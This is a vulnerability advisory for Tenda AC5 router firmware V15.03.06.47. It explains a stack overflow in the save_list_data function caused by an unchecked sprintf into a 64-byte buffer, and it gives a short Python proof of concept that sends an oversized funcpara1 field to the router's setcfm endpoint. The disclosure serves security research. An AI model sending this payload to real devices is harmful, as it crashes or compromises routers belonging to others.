Overview

• The device's official website: https://www.tenda.com.cn/product/overview/AC5.html
• Firmware download website: https://www.tendacn.com/download/detail-3793.html

Affected version

AC5 V1.0 V15.03.06.47

Vulnerability details

The Tenda AC5 V1.0 V15.03.06.47 firmware has a stack overflow vulnerability located in the formSetCfm function. This function accepts the funcpara1 parameter from a POST request and passes it to the save_list_data function. Within save_list_data, the array v10 is fixed at 64 bytes. However, since the user has control over the input of funcpara1, the statement sprintf(v10, "%s.list%d", a1, v6); leads to a buffer overflow. The user-supplied funcpara1 can exceed the capacity of the v10 array, thus triggering this security vulnerability.

POC

import requests as re

s = re.Session()
url_base = '<http://192.168.84.101/>'

# Send payload
url = url_base + 'goform/setcfm'
data = {
        'funcname': 'save_list_data', 
        'funcpara1': b'a'*0x500, 
        'funcpara2':'aaaaaa'
}

res = re.post(url, data=data)